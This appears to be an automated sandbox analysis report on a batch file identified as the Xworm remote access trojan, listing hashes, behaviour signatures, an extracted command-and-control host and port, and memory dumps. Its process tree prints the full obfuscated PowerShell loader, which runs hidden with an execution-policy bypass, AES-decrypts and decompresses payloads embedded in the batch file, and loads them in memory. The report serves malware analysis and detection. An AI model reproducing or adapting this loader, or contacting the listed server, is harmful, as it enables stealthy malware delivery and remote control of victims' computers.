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Overview

overview

10

Static

static

1

XClient (1).bat

windows7-x64

8

XClient (1).bat

windows10-2004-x64

10

Resubmissions

07/11/2024, 23:56

241107-3zdm8a1aml 10

Analysis

  • max time kernel
    13s
  • max time network
    14s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    07/11/2024, 23:56

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General

  • Target

    XClient (1).bat

  • Size

    72KB

  • MD5

    73585d18685e06c4f21302c275ca6682

  • SHA1

    dd0bae964a108a1c923a1f9b99e72f82064786dd

  • SHA256

    b953aae6b09f2002ca056f6cef521960a91711152d5ebd5cf0055d9a491a5554

  • SHA512

    00b2276e24b96b9b8c0629a1913f8a1c0ee7ab12e2fa4ce8f9b54fabeb02b0383eb183b1d45f16e86175108a9c7990f40a4671e29a2dde8400dbb60d3974b08a

  • SSDEEP

    1536:PhOHtmQQ2yEPUWKzKbYd1P/OCWA7Vm6H/j5z5y3Wdjyh:YvTMKY1OCF0xWV+

Score
10/10
xwormexecutionrattrojan

Malware Config

Extracted

Family

xworm

C2

127.0.0.1:32758

pressure-continuous.gl.at.ply.gg:32758
Attributes
  • Install_directory

    %Temp%

  • install_file

    USB.exe

Signatures

  • Detect Xworm Payload 1 IoCs
  • Xworm

    Xworm is a remote access trojan written in C#.

    trojanratxworm
  • Xworm family
    xworm
  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

    execution
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\XClient (1).bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:708
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('lt7J5oQYvdPE/yPR3udzzOgcuFCXB9kkjS82/1mR/YU='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FE87bzzPEJCKUD9ywpxuRA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $WEOQY=New-Object System.IO.MemoryStream(,$param_var); $YzqMc=New-Object System.IO.MemoryStream; $DahLb=New-Object System.IO.Compression.GZipStream($WEOQY, [IO.Compression.CompressionMode]::Decompress); $DahLb.CopyTo($YzqMc); $DahLb.Dispose(); $WEOQY.Dispose(); $YzqMc.Dispose(); $YzqMc.ToArray();}function execute_function($param_var,$param2_var){ $RqagN=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $HUCEB=$RqagN.EntryPoint; $HUCEB.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\XClient (1).bat';$qvcZY=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\XClient (1).bat').Split([Environment]::NewLine);foreach ($zHSKO in $qvcZY) { if ($zHSKO.StartsWith(':: ')) { $VrWEJ=$zHSKO.Substring(3); break; }}$payloads_var=[string[]]$VrWEJ.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3528

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_tyef2dyo.ff3.ps1
    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    Download Submit

  • memory/3528-0-0x00007FFEADF03000-0x00007FFEADF05000-memory.dmp

    Filesize

    8KB

    Download

  • memory/3528-1-0x0000024A4AF20000-0x0000024A4AF42000-memory.dmp

    Filesize

    136KB

    Download

  • memory/3528-11-0x00007FFEADF00000-0x00007FFEAE9C1000-memory.dmp

    Filesize

    10.8MB

    Download

  • memory/3528-12-0x00007FFEADF00000-0x00007FFEAE9C1000-memory.dmp

    Filesize

    10.8MB

    Download

  • memory/3528-13-0x0000024A4AF10000-0x0000024A4AF18000-memory.dmp

    Filesize

    32KB

    Download

  • memory/3528-14-0x0000024A4AF50000-0x0000024A4AF60000-memory.dmp

    Filesize

    64KB

    Download

  • memory/3528-15-0x0000024A65230000-0x0000024A65244000-memory.dmp

    Filesize

    80KB

    Download

  • memory/3528-16-0x00007FFEADF00000-0x00007FFEAE9C1000-memory.dmp

    Filesize

    10.8MB

    Download